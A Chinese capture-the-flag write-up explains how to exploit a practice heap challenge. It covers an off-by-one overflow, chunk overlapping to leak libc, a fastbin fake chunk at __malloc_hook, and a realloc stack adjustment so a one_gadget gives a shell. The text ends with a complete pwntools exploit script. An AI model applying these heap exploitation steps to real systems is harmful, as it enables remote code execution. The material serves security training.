Off by One 造成 Extend Chunk,分配和删除后造成 Chunk overlapping 泄露 libc 地址,用 Fake Chunk 写入 __realloc_hook 和 __malloc_hook 调整栈帧并执行 one_gadget
静态分析
Off by One
int Edit()
{
signed int v1; // [rsp+Ch] [rbp-4h]
printf("idx?");
v1 = readint();
if ( v1 < 0 || v1 > 9 || !qword_2020A0[v1] )
exit(0);
printf("content:");
read_str((__int64)qword_2020A0[v1], dword_202060[v1]);
return puts("Done!");
}
进入 readstr():
unsigned __int64 __fastcall readstr(__int64 a1, int a2)
{
unsigned __int64 result; // rax
unsigned int i; // [rsp+1Ch] [rbp-4h]
for ( i = 0; ; ++i )
{
result = i;
if ( (signed int)i > a2 )
break;
if ( !read(0, (void *)((signed int)i + a1), 1uLL) )
exit(0);
if ( *(_BYTE *)((signed int)i + a1) == 10 )
{
result = (signed int)i + a1;
*(_BYTE *)result = 0;
return result;
}
}
return result;
}
读入字符串的边界条件存在问题,对于记录着大小为 a1 的 chunk,可以读入 a2 + 1 个字符
利用 Off By One 可以覆盖掉物理相邻的下一个堆块 size 的最后一个字节(前提是修改的堆块大小为 0x8 的奇数倍,详见图解)
即修改了物理相邻的下一个堆块的 size 位,若写入一个较大的数,即可造车给 Chunk Extend (堆块延长)
具体过程
首先如图所示分配堆块,最下面的 Chunk 是防止 Top Chunk 向前生长的
第二步修改 idx0 的内容,溢出一字节覆盖到 idx1 的 size 位,使其伪造成一个总空间为 0xe1 的 Chunk
在 free(idx1) 之后,由于 size 超出了 fastbin 的范围,所以 idx1 释放后会进入 unsorted bin
需要注意的是 free 会验证 idx1 + 0xe0 的位置是不是一个 Chunk 头,如果不是会失败,这里是 idx3 的 Header
unsortbin:
all: 0x55f1ebc28020 -> 0x7fed444b9b78 (main_arena + 88)
此时再分配一个 0x60 的堆块,由于 fastbin 里没有 Free Chunk,程序会再 unsorted bin 的 idx1 中进行切割,如图:
切割的过程中,切割出的 idx4(此时索引中还没有) 成为了 unsorted bin 中新的唯一 Chunk,其 fd 指针指向 main_arena + 88
unsortbin:
all: 0x55f1ebc28090 -> 0x7fed444b9b78 (main_arena + 88)
注意到此时 idx4(此时索引中还没有) 和 idx2 是同一个堆块,idx4 是我们保存过的,所以可以通过 show(idx) 泄露出 main_arena 地址
这样就泄露出了 libc 的基址,我们希望通过覆写 __malloc_hook 来控制程序的执行流
因为此时 idx2 和 idx4 是重叠是,所以一个 edit,一个 allocate 可以实现我们的目的
首先生成索引中的 idx4(content: 0x60)然后 delete,此时该 Chunk 释放进入了 fastbin
然后用 idx2 写入 Fake Chunk 的地址到 idx2/idx4 的 fd 中(__malloc_hook-0x23),为什么是这样 看这里
当我们再两次 allocate 的时候,Fake Chunk 就成功在 __malloc_hook-0x23 生成,我们通过其覆写 __malloc_hook 劫持控制流
Realloc
直接用 one_gadget 写入 __malloc_hook 会失败,因为所需 getshell 条件没有被满足
对于这道题要使用 libc 中的 realloc 函数调整栈帧结构,使栈帧满足 one_gadget 的条件
__realloc_hook 和 __malloc_hook 有着差不多的含义,即在调用 realloc/hook 的时候会检查 hook 是否为 NULL,如果不是则先执行 hook
首先要晓得 __realloc_hook 和 __malloc_hook 在物理上的相邻的,所以我们的 payload 可以同时覆写这两者
即: payload = 'a'*(0x13-0x8) + p64(gadget) + p64(realloc+13)
这里的 gadget 是写入 __realloc_hook 的,relloc+13 是写入 __malloc_hook 的
程序的执行流是:__malloc_hook -> realloc+offset -> __realloc_hook -> one_gadget
结合 realloc 的代码就好理解了
realloc 在调用 __realloc_hook 之前,首先会执行一系列的 push 压栈,结束前会悉数弹出
如果我们首先在 relloc+offset 开始执行,少了一些 push,会把栈帧抬高,在最后执行 one_gadget 的时候 esp 的地址会发生改变
下图是 relloc 和 relloc+4 的调试结果,可以看出 esp 的相对值是增大的
通过调试构造出 one_gadget 的条件,以此 GetShell
在这道题中,需要使用 rsp+0x30 这个 one_gadget,并且从 relloc+13 开始执行,远程即可打通
尽管加载了相同的 libc,但本地的情况不太一样,需要慢慢调整选择正确的 one_gadget 和 realloc+offset
EXP
from pwn import *
#ld_path = '/home/harvey/glibc-all-in-one/libs/2.23-0ubuntu11.2_amd64/ld-2.23.so'
#libc_path = '/home/harvey/glibc-all-in-one/libs/2.23-0ubuntu3_amd64/libc-2.23.so'
libc_path = './libc-2.23.so'
elf_path = './vn_pwn_simpleHeap'
#io = process([ld_path, elf_path], env={'LD_PRELOAD':libc_path})
io = remote('node3.buuoj.cn', '28315')
#one_gadget = [0x45206, 0x4525a, 0xef9f4, 0xf0897]
one_gadget = [0x45216, 0x4526a, 0xf02a4, 0xf1147]
libc = ELF(libc_path)
context.log_level = 'debug'
def debug():
gdb.attach(io)
pause()
def cmd(x):
io.sendlineafter('choice: ', str(x))
def add(size, content):
cmd(1)
io.sendlineafter('size?', str(size))
io.sendlineafter('content:', content)
def edit(idx, content):
cmd(2)
io.sendlineafter('idx?', str(idx))
io.sendlineafter('content:', content)
def show(idx):
cmd(3)
io.sendlineafter('idx?', str(idx))
def delete(idx):
cmd(4)
io.sendlineafter('idx?', str(idx))
add(0x18, 'aaaa')
add(0x60, 'aaaa')
add(0x60, 'aaaa')
add(0x10, 'aaaa')
payload = 'a'*0x18 + 'xe1'
edit(0, payload)
delete(1)
add(0x60, 'aaaa')
show(2)
main_arena = u64(io.recvuntil('x7f')[-6:].ljust(8,'x00')) - 88
libc_base = main_arena - 0x3c4b20
success('main_arena: ' + hex(main_arena))
success('libc_base: ' + hex(libc_base))
malloc_hook = libc_base + libc.symbols['__malloc_hook']
realloc = libc_base + libc.symbols['__libc_realloc']
fake_chunk = malloc_hook - 0x23
add(0x60, 'aaaa') # 4 and 2
delete(4)
payload = p64(fake_chunk)
edit(2, payload)
add(0x60, 'aaaa') # 4
gadget = libc_base + one_gadget[3]
success('gadget:' + hex(gadget))
offset = [0x0, 0x2, 0x4, 0x6, 0x8, 0xb, 0xc]
payload = 'a'*(0x13-0x8) + p64(gadget) + p64(realloc+offset[5])
# payload = 'a' * 0x13 + p64(gadget)
add(0x60, payload)
# success(pidof(io))
# pause()
cmd(1)
io.sendlineafter('size?', '10')
io.interactive()